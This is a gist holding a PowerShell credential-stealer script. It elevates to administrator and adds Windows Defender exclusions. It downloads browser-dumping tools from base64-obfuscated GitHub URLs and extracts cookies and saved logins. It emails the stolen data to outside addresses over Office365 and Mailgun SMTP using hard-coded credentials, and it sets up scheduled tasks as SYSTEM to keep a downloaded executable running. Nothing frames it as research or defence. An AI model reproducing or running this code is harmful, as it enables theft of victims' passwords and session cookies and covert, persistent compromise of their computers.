First Gist

gistfile1.ps1

if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { Start-Process powershell.exe "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs; exit }
Start-Process $PSHOME\powershell.exe -ArgumentList {powershell Add-MpPreference -ExclusionPath C:\Windows\Temp

$u = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("aHR0cHM6Ly9naXRodWIuY29tL0ZsYW5ndmlrL1NoYXJwQ29sbGVjdGlvbi9yYXcvbWFzdGVyL05ldEZyYW1ld29ya180LjdfQW55L1NoYXJwQ2hyb21pdW0uZXhl"))
$o = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("Qzpcd2luZG93c1xUZW1wXGdhcmJhZ2ViaW5zLmV4ZQ=="))
iwr $u -usebasicparsing -outfile $o

$l = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("YWxs"))
[array] $frz = C:\windows\Temp\garbagebins.exe $l 

$f = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("b3ZlcmxvcmQyMjEyQG91dGxvb2suY29t"))
$t = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("b3ZlcmxvcmQyMjEyQG91dGxvb2suY29t"))
$p = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("a3hTUlA1M0ptYjhuWFI="))
$poky = $f;
$juke = $p;

function Send-ToEmail([string]$moke, [string]$attachmentpath){

    $message = new-object Net.Mail.MailMessage;
    $message.From = $f;
    $message.To.Add($moke);
    $message.Subject = "...";
    $message.Body = $frz;
    $smtp = new-object Net.Mail.SmtpClient("smtp.office365.com", "587");
    $smtp.EnableSSL = $true;
    $smtp.Credentials = New-Object System.Net.NetworkCredential($poky, $juke);
    $smtp.send($message);
 }
Send-ToEmail  -moke $t -attachmentpath $path;} -WindowStyle Hidden

if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { Start-Process powershell.exe "-NoProfile -ExecutionPolicy Bypass -File "$PSCommandPath"" -Verb RunAs; exit }
Start-Process $PSHOME\powershell.exe -ArgumentList {

powershell Add-MpPreference -ExclusionPath C:\Users\Public\

$u = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("aHR0cHM6Ly9naXRodWIuY29tL1ByaXNvbmVyMi02LTcvY29tcGlsZWRiaW5hcmllcy9yYXcvbWFpbi9TaGFycENocm9tZS5leGU="))
$o = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("QzpcVXNlcnNcUHVibGljXFZPSURXaW4zMi5leGU="))
iwr $u -usebasicparsing -outfile $o

iwr https://github.com/Prisoner2-6-7/compiledbinaries/raw/main/public.exe -usebasicparsing -outfile C:\Users\Public\WinPi.exe

C:\Users\Public\WinPi.exe

schtasks /create /sc MINUTE /mo 10 /tn main-prog /tr C:\Users\Public\WinPi.exe

#$c = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("Y29va2llcyAvc2hvd2FsbCAvcXVpZXQgL2Zvcm1hdDpqc29u"))
[array] $frz = C:\Users\Public\VOIDWin32.exe cookies /setneverexpire /showall /quiet /format:json

#$l = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("bG9naW5zIC9zaG93YWxsIC9xdWlldA=="))
[array] $2frz = C:\Users\Public\VOIDWin32.exe logins /showall /quiet

#$f = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("cG9zdG1hc3RlckBzYW5kYm94ZTQ3YzA5ZWE3YzAxNGM4YThiM2NiOTFhMzQ1ZDI3MjYubWFpbGd1bi5vcmc="))
#$t = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("cDI2N0Bwcm90b25tYWlsLmNvbQ=="))
#$p = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("YWZiZmQyMDcyODM2NWFkZmUzOWRmZTFjYWMxNjk5MWItMmNjNDhiMjktNjQyNGUzN2YK"))
#$poky = $f;
#$juke = $p;
$3frz = $frz + $2frz

$poky = 'postmaster@sandboxe47c09ea7c014c8a8b3cb91a345d2726.mailgun.org'
$juke = 'afbfd20728365adfe39dfe1cac16991b-2cc48b29-6424e37f'
$t = 'p267@protonmail.com'

$EmailFrom = $poky
$EmailTo = $t
$Subject = "..."
$Body = $3frz
$SMTPServer = "smtp.mailgun.org"
$SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
$SMTPClient.EnableSsl = $true
$SMTPClient.Credentials = New-Object System.Net.NetworkCredential($poky, $juke);
$SMTPClient.Send($EmailFrom, $EmailTo, $Subject, $Body)

} -WindowStyle Hidden

$taskAction = New-ScheduledTaskAction -Execute "C:\Users\Public\WinPi.exe"; $taskTrigger = New-ScheduledTaskTrigger -Daily -At (Get-Date).Date -RepetitionInterval (New-TimeSpan -Minutes 20) -RepetitionDuration ([System.TimeSpan]::MaxValue); $taskSettings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -RunOnlyIfIdle -RestartInterval (New-TimeSpan -Minutes 1) -ExecutionTimeLimit (New-TimeSpan -Minutes 15); Register-ScheduledTask -TaskName "YourTaskName" -Action $taskAction -Trigger $taskTrigger -Settings $taskSettings -User "System" -RunLevel Highest -Force